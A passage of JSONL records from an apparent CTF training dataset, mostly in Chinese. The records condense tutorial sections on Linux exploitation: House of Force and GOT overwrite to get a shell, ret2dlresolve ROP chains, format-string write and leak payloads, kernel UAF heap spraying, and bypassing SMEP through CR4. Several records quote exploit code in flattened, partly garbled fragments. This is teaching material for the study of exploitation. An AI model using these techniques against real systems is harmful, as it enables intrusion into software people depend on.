"dec6be57e088905459cdd2d04532f6b0f33adf6c4086ebc03869863fd0640063", "split": "train", "split_group_key": "303216a9d29be7ec20ced803", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "栈", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "栈溢出原理"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b89c33d91566fc855727", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/introduction.md` 中的章节「Reference」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/introduction.md`\n标题：简介\n章节：简介 > Reference\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Reference”展开。\n- https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/\n- https://arttnba3.cn/2023/02/24/OS-0X04-LINUX-KERNEL-MEMORY-6.2-PART-III/\n- https://kernel.org/doc/html/v5.4/admin-guide/cgroup-v1/memory.html\n- https://github.com/torvalds/linux/commit/10befea91b61c4e2c2d1df06a2e978d182fcf792\n- https://github.com/torvalds/linux/commit/494c1dfe855ec1f70f89552fce5eadf4a1717552\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 440, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "Reference", "heading_path": ["简介", "Reference"], "original_id": "docs-4e013032d2caf53b759c", "original_line": 764, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/introduction.md", "source_root": "docs", "source_sha256": "76936782c80ce1b0f0d08c8789bfbfcb4ecd58fc789cc6d0d20e256bcc37e801", "split": "train", "split_group_key": "18ac49f7fff8f17581968ee6", "subcategory": "pwn/linux/kernel-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b8aee6fb3864d4860d1c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md` 中的章节「利用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md`\n标题：House Of Force\n章节：top chunk's offset to heap base > 2016 BCTF bcloud > 利用\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 2. 利用 house of force 将 top chunk 分配至全局的 0x0804B0A0 的 ¬esize-8 处，当再次申请内存时，便返回notesize地址处的内存，从而我们就可以控制所有note的大小以及对应的地址了。\n- 3. 修改前三个 note 的大小为16，并修改其指针为 free@got，atoi@got，atoi@got 4. 将 free@got 修改为 puts@plt。\n- 6. 再次修改另外一个 atoi got 项为 system 地址，从而拿到shell。\n\n关键术语：\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:python\n\n代码/命令片段线索：\n- python: 74 行，首行 `from pwn import *`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 3002, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "利用", "heading_path": ["top chunk's offset to heap base", "2016 BCTF bcloud", "利用"], "original_id": "docs-4447d4b3a5518d1ddc4d", "original_line": 987, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md", "source_root": "docs", "source_sha256": "27e5d508f1506ce1b54b9cd5ee0beed81d03242b5dc58c99c27d5a4a84d6cfa9", "split": "train", "split_group_key": "4bbe3b5dd764715bf96b736f", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:python"], "title": "House Of Force"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b8d06d65d62d38295ead", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「思路1 - 直接控制重定位表项的相关内容」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：ret2dlresolve > 原理 > 思路1 - 直接控制重定位表项的相关内容\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“思路1 - 直接控制重定位表项的相关内容”展开。\n- 但是，假如我们可以控制程序执行流，那我们就可以伪造合适的重定位偏移，从而达到调用目标函数的目的。\n- 然而，这种方法比较麻烦，因为我们不仅需要伪造重定位表项，符号信息和字符串信息，而且我们还需要确保动态链接器在解析的过程中不会出错。\n- 此外，类似地，我们可以发现动态符号表、重定位表项都是只读的。\n- 因此，一个很自然的想法是直接修改动态字符串表 .dynstr，比如把某个函数在字符串表中对应的字符串修改为目标函数对应的字符串。\n- 由于动态链接器最后在解析符号的地址时，是依据符号的名字进行解析的。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 267, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "思路1 - 直接控制重定位表项的相关内容", "heading_path": ["ret2dlresolve", "原理", "思路1 - 直接控制重定位表项的相关内容"], "original_id": "docs-fa398c2aac520ed6eb28", "original_line": 1304, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "5851bca4cf9e9f98d0d1d630", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b92b5bc35f2de8171cc2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md` 中的章节「Final Exploitation」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md`\n标题：Page-level UAF\n章节：Page-level UAF > 例题：D^3CTF2023 - d3kcache > 漏洞利用 > Final Exploitation\n路径分类：pwn / pwn/linux/kernel-mode\n分块：3/8\n\n核心知识点：\n- 本节主题围绕“Final Exploitation”展开。\n- } if (alloc_page(PGV_8PAGES_START_IDX + i, 0x1000 8, 1) < 0) { printf(\"[x] failed to create %d socket for pages spraying!\n- } / a pipe_buffer on 1k is for 16 pages, so 4k for 64 pages / if (fcntl(pipe_fd[start_idx + i][1], F_SETPIPE_SZ, 0x1000 64) < 0) { printf(\"[x] failed to extend %d pipe!\n- } / V - FIRST exploit stage - cross-cache overflow to make page-level UAF / void corrupting_first_level_pipe_for_page_uaf(void) { char buf[0x1000];\n- i ++) { if (pipe(pipe_fd[i]) < 0) { printf(\"[x] failed to alloc %d pipe!\n- if (extend_pipe_buffer_to_4k(0, PIPE_SPRAY_NUM / 2) < 0) { err_exit(\"FAILED to extend pipe!\n\n关键术语：\n- UAF\n- 边界/溢出\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 5016, "chunk_count": 8, "chunk_index": 2, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "Final Exploitation", "heading_path": ["Page-level UAF", "例题：D^3CTF2023 - d3kcache", "漏洞利用", "Final Exploitation"], "original_id": "docs-8c21af562f741b6186e8", "original_line": 752, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md", "source_root": "docs", "source_sha256": "9556b48cfce4fb3e87c0e04e6cd2793e0719241e2bc305a1f292d6b02d17d186", "split": "train", "split_group_key": "c862ed64bfb2abce0964049c", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "边界/溢出", "堆", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Page-level UAF"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b94746e86e504ca6d502", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md` 中的章节「覆盖小数字」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md`\n标题：利用\n章节：利用 > 覆盖内存 > 覆盖任意地址内存 > 覆盖小数字\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“覆盖小数字”展开。\n- > 或许我们可以使用整形溢出来修改对应的地址的值，但是这样将面临着我们得一次输出大量的内容。\n- 利用ida可以得到a的地址为0x0804A024（由于a、b是已初始化的全局变量，因此不在堆栈中）。\n- 由于我们想要把2写到对应的地址处，故而格式化字符串的前面的字节必须是 ``text aa%k$nxx ` 此时对应的存储的格式化字符串已经占据了6个字符的位置，如果我们再添加两个字符aa，那么其实aa%k就是第6个参数，$nxx其实就是第7个参数，后面我们如果跟上我们要覆盖的地址，那就是第8个参数，所以如果我们这里设置k为8，其实就可以覆盖了。\n- `` 其实，这里我们需要掌握的小技巧就是，我们没有必要把地址放在最前面，放在哪里都可以，只要我们可以找到其对应的偏移即可。\n- 类似的，我们把地址放在中间，只要能够找到对应的偏移，其照样也可以得到对应的数值。\n\n关键术语：\n- 边界/溢出\n- 堆\n- 栈\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- fmtstr\n- code:text\n- code:asm\n- code:python\n- code:shell\n\n代码/命令片段线索：\n- text: 1 行，首行 `aa%k$nxx`\n- asm: 2 行，首行 `.data:0804A024 public a`\n- python: 7 行，首行 `def fora():`\n- shell: 5 行，首行 `➜ overwrite git:(master) ✗ python exploit.py`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1148, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "覆盖小数字", "heading_path": ["利用", "覆盖内存", "覆盖任意地址内存", "覆盖小数字"], "original_id": "docs-c6508bea8a33a2f80e50", "original_line": 45, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-exploit.md", "source_root": "docs", "source_sha256": "040fbecb96f4b30ec8b6ecd0a6bc6afea827abf093eada8b549d44dab3c550e7", "split": "train", "split_group_key": "364d8e284e93197ccdd20c5f", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "栈", "漏洞利用", "pwn", "linux", "user-mode", "fmtstr", "code:text", "code:asm", "code:python", "code:shell"], "title": "利用"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b96fcaa3939279f7a5f2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-uaf.md` 中的章节「漏洞利用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-uaf.md`\n标题：Cross-Cache UAF\n章节：Cross-Cache UAF > 例题： kbook > 漏洞利用\n路径分类：pwn / pwn/linux/kernel-mode\n分块：2/2\n\n核心知识点：\n- 本节主题围绕“漏洞利用”展开。\n- Z, 0x1000 32) < 0) { perror(\"failed to reset pipe_size\");\n- j++) { if (set_page(bookshelf[i], j)) { err_exit(\"FAILED at setting the page for book!\n- } if (read(bookshelf[i], buf, 0x100) < 0) { err_exit(\"FAILED at reading the book!\n- } } } out: if (book_idx < 0 || page_idx < 0) { err_exit(\"FAILED to transfer UAF to pipe_buffer!\n- printf(\"\\033[32m\\033[1m[] Successfully make UAF on pipe_buffer with \" \"book \\033[0m%d\\033[32m\\033[1m, page \\033[0m%d\\n\", book_idx, page_idx);\n\n关键术语：\n- UAF\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 4396, "chunk_count": 2, "chunk_index": 1, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "漏洞利用", "heading_path": ["Cross-Cache UAF", "例题： kbook", "漏洞利用"], "original_id": "docs-2d196d7921201212be04", "original_line": 741, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-uaf.md", "source_root": "docs", "source_sha256": "687aa9899839a03ab9ddad6785475897c71ad6e3bd6110e36b945c28303aa971", "split": "train", "split_group_key": "dbf1cd5216a374906d25a3a3", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "堆", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Cross-Cache UAF"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-uaf.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b9834a9037dee6edb4d7", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md` 中的章节「泄露任意地址内存」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md`\n标题：利用\n章节：利用 > 泄露内存 > 泄露任意地址内存\n路径分类：pwn / pwn/linux/user-mode\n分块：1/3\n\n核心知识点：\n- 本节主题围绕“泄露任意地址内存”展开。\n- ` 一般来说，我们会重复某个字符的机器字长来作为tag，而后面会跟上若干个%p来输出栈上的内容，如果内容与我们前面的tag重复了，那么我们就可以有很大把握说明该地址就是格式化字符串的地址，之所以说是有很大把握，这是因为不排除栈上有一些临时变量也是该数值。\n- 可以看出，在上面无论是泄露栈上连续的变量，还是说泄露指定的变量值，我们都没能完全控制我们所要泄露的变量的地址。\n- 我们再仔细回想一下，一般来说，在格式化字符串漏洞中，我们所读取的格式化字符串都是在栈上的（因为是某个函数的局部变量，本例中s是main函数的局部变量）。\n- ) ← $eax 0xffffcd14│+0x18: 0xffffce3c → 0xffffd074 → \"XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat[...]\" 0xffffcd18│+0x1c: 0x000000e0 ` 可以看出在栈上的第二个变量就是我们的格式化字符串地址0xffffcd10，同时该地址存储的也确实是\"%s\"格式化字符串内容。\n- ` addr%k$s ` > 注： 在这里，如果格式化字符串在栈上，那么我们就一定确定格式化字符串的相对偏移，这是因为在函数调用的时候栈指针至少低于格式化字符串地址8字节或者16字节。\n\n关键术语：\n- 栈\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- fmtstr\n- code:shell\n- code:text\n\n代码/命令片段线索：\n- shell: 22 行，首行 `Breakpoint 1, __printf (format=0xffffcd10 \"%s\") at printf.c:28`\n- plain: 1 行，首行 `addr%k$s`\n- text: 1 行，首行 `[tag]%p%p%p%p%p%p...`\n- shell: 4 行，首行 `➜ leakmemory git:(master) ✗ ./leakmemory`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 4025, "chunk_count": 3, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "泄露任意地址内存", "heading_path": ["利用", "泄露内存", "泄露任意地址内存"], "original_id": "docs-98f1f9dd4288e305114b", "original_line": 890, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-exploit.md", "source_root": "docs", "source_sha256": "040fbecb96f4b30ec8b6ecd0a6bc6afea827abf093eada8b549d44dab3c550e7", "split": "train", "split_group_key": "7b3ccbaaba7beac4e3fe88df", "subcategory": "pwn/linux/user-mode", "terms": ["栈", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "fmtstr", "code:shell", "code:text"], "title": "利用"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b9c09862f3ac16b669d5", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「set l->l_info[VERSYMIDX(DT_VERSYM)] = NULL」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：set l->l_info[VERSYMIDX(DT_VERSYM)] = NULL\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“set l->l_info[VERSYMIDX(DT_VERSYM)] = NULL”展开。\n- rop.raw(bin_sh_addr) rop.raw(resolve_call)\n- rop = ROP(\"./main_partial_relro_64\") rop.raw(offset'\\x00') rop.raw(csu(0, 1 ,elf.got['read'],0,link_map_addr+0x1c8,8)) rop.raw(vuln_addr) rop.raw('\\x00'(256-len(rop.chain()))) io.send(rop.chain()) io.send(p64(0)) rop = ROP(\"./main_partial_relro_64\") rop.raw...\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 383, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "set l->l_info[VERSYMIDX(DT_VERSYM)] = NULL", "heading_path": ["set l->l_info[VERSYMIDX(DT_VERSYM)] = NULL"], "original_id": "docs-659cf6bd8e8eb58fc393", "original_line": 1364, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "a383806fbdd9109cdac19f0b", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b9dca42a746f0c9a2f7b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「使用 top chunk」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`\n标题：申请内存块\n章节：申请内存块 > _int_malloc > 使用 top chunk\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“使用 top chunk”展开。\n- In effect, av->top is treated as larger (and thus less well fitting) than any other available chunk since it can be extended to be as large as necessary (up to system limitations).\n- if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) { remainder_size = size - nb;\n- set_head(remainder, remainder_size | PREV_INUSE);\n- remainder = chunk_at_offset(victim, nb);\n- We require that av->top always exists (i.e., has size >= MINSIZE) after initialization, so if it would otherwise be exhausted by current request, it is replenished. (The main reason for ensuring it exists is that we may need MINSIZE space to put in fencepos...\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n- code:c++\n\n代码/命令片段线索：\n- c++: 47 行，首行 `use_top:`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1738, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "使用 top chunk", "heading_path": ["申请内存块", "_int_malloc", "使用 top chunk"], "original_id": "docs-759f3663540e3b78ca02", "original_line": 1156, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "source_root": "docs", "source_sha256": "d57c9fb6e3dadf6dcdef23e595c99d5566d1a5c69e96baacfe77e614ff9962bf", "split": "train", "split_group_key": "4f47fe7424184d13e7a9ebcc", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap", "code:c++"], "title": "申请内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b9de40689da606fd93f8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/rop/bypass-smep.md` 中的章节「smep 和 CR4 寄存器」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/rop/bypass-smep.md`\n标题：bypass-smep （已过时）\n章节：bypass-smep （已过时） > SMEP > smep 和 CR4 寄存器\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“smep 和 CR4 寄存器”展开。\n- 而 CR4 寄存器是可以通过 mov 指令修改的，因此只需要执行下面的汇编指令： ```asm mov cr4, 0x1407e0\n- 控制寄存器组中的 CR4 寄存器用以控制 CPU 的各种特性，CPU 根据 CR4 寄存器的值判断是否开启 smep 保护，当 CR4 寄存器的第 20 位是 1 时，保护开启；\n- 文件: ./figure/smep.jpg] 例如，当 $CR4 = 0x1407f0 = 000 1 0100 0000 0111 1111 0000 时，smep 保护开启。\n\n关键术语：\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 273, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "smep 和 CR4 寄存器", "heading_path": ["bypass-smep （已过时）", "SMEP", "smep 和 CR4 寄存器"], "original_id": "docs-636799bc91f65c85d756", "original_line": 797, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/bypass-smep.md", "source_root": "docs", "source_sha256": "69b81f760f7d2f63881ef68284bec9da46903bc954671ec7e3d187e6a84a12fc", "split": "train", "split_group_key": "d7297c64448d66c15f0d45fd", "subcategory": "pwn/linux/kernel-mode", "terms": ["ROP/JOP", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "bypass-smep （已过时）"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/bypass-smep.md", "split": "train", "type": "ctf_lora_sft"}
